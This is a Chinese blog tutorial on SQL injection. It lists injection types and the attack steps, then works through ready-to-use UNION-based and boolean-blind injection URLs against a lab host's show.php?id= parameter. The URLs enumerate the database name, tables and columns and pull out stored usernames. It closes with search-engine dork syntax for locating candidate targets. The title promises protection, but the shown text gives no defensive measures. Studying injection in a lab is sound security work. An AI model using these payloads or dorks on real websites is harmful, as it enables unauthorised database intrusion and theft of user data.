sql注入学习与防护

一、SQL注入分类

SQL注入根据攻击方式的不同,可以分为以下几种类型:

  1. 数字型注入
  2. 字符型注入
  3. 报错注入
  4. 布尔盲注
  5. 时间盲注
  6. 联合查询注入
  7. 基于堆叠的查询注入

二、SQL注入流程

  1. 发现注入点
  2. 猜测字段数
  3. 确定显示字段
  4. 获取数据库信息
  5. 获取数据库中的表
  6. 获取表中的字段
  7. 获取字段中的数据
例子:

获取数据库名参考

  1. 字符限制:数据库的名字可以包含字母、数字、下划线和美元符号($)。但是,名字不能以数字开头。

  2. 大小写敏感性:在Windows系统上,MySQL数据库的名字默认是不区分大小写的。但在大多数Unix/Linux系统上,数据库的名字是区分大小写的。为了确保跨平台的兼容性,建议使用小写字母。

  3. 长度限制:数据库的名字最大长度为64个字符。

1.发现网站请求为get,如果存在注入点这里不会报错
http://192.168.10.111/news/show.php?id=-1 and 1=1

2.发现注入点后猜字段,逐一尝试猜测字段数
http://192.168.10.111/news/show.php?id=-1 order by 16
-- order by x 根据第x个字段排序,如果出现报错说明字段不存在

3.发现不报错出现,并且出现的数值,为显示字段
http://192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
 
4.脱库
//获取当前数据库
http://192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15

//获取数据库中的表,hex的作用是因为拼接后的字符串有‘,’会混淆
192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,
hex(group_concat(table_name))
,12,13,14,15 from information_schema.tables where table_schema='news'

//获取表中的字段
192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,
hex(group_concat(column_name))
,12,13,14,15 from information_schema.columns where table_schema='news' and table_name='news_users

三、sql盲注:

构造真或者假的问题对数据库进行提问

寻找sql注入点

1.在url后添加   ’  如果报错说明有注入点

2.对数值型注入点可以进行减法

3.对在url后添加   and 1=2   如果没有正常显示,说明有注入点

例子:
-- 猜测数据库长度
http://192.168.10.111/news/show.php?id=46 and length(database())=4

-- 或取当前数据库第二个字符
http://192.168.10.111/news/show.php?id=46 and substr(database(),2,1)='e'

-- 获取news数据库中所有表名长度
http://192.168.10.111/news/show.php?id=46 and length((select group_concat(table_name) 
from information_schema.tables where table_schema='news'))=98

-- 获取表名字符串第一个字符
http://192.168.10.111/news/show.php?id=46 and substr((select group_concat(table_name) 
from information_schema.tables where table_schema='news'),1,1)='n'

-- 获取news库,news_users表中字段字符串的字符串长度
http://192.168.10.111/news/show.php?id=46 and length((select group_concat(column_name) 
from information_schema.columns where table_schema='news' and table_name='news_users'))=24

-- 获取字段第一个字符
http://192.168.10.111/news/show.php?id=46 and substr((select group_concat(column_name) 
from information_schema.columns where table_schema='news' and table_name='news_users'),1,1)='u'

-- 获取username字段中的信息长度
http://192.168.10.111/news/show.php?id=46 and length((select group_concat(username) from 
news.news_users))=5

-- 获取username字段的字符
http://192.168.10.111/news/show.php?id=46 and substr((select group_concat(username) from
 news.news_users),2,1)='d'

 

注:查找网站资源可使用hacking语法

inurl:?id=                url中存在:?id=

Intitle:admin            title中存在:admin

filetype:txt                查找网站中txt文件

site:www.baidu.com 在百度中查找

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值